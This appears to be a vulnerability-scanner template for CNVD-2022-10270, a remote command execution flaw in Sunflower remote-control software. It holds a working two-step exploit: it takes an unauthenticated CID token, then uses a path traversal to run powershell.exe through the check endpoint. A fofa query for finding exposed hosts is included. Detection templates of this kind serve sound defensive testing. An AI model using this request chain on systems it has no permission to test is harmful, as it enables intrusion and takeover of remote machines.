CNVD-2022-10270: 向日葵 check 远程命令执行漏洞

id: CNVD-2022-10270

info:
  name: 向日葵 check 远程命令执行漏洞
  author: zan8in
  severity: critical
  description: |-
    向日葵通过发送特定的请求获取CID后，可调用 check接口实现远程命令执行，导致服务器权限被获取
    fofa: body="Verification failure"
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270
  tags: cnvd,cnvd2022,unauth,rce,sunflower
  created: 2022/10/23

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/rpc?action=verify-haras
    expression: response.status == 200 && response.body.bcontains(b'"verify_string"')
    output:
      search: '"\"verify_string\":\"(?P<cid>.+?)\"".bsubmatch(response.body)'
      cid: search["cid"]
  r1:
    request:
      method: GET
      path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig
      headers:
        Cookie: "CID={{cid}}"
    expression: response.status == 200 && response.body.bcontains(b'Windows IP')
expression: r0() && r1()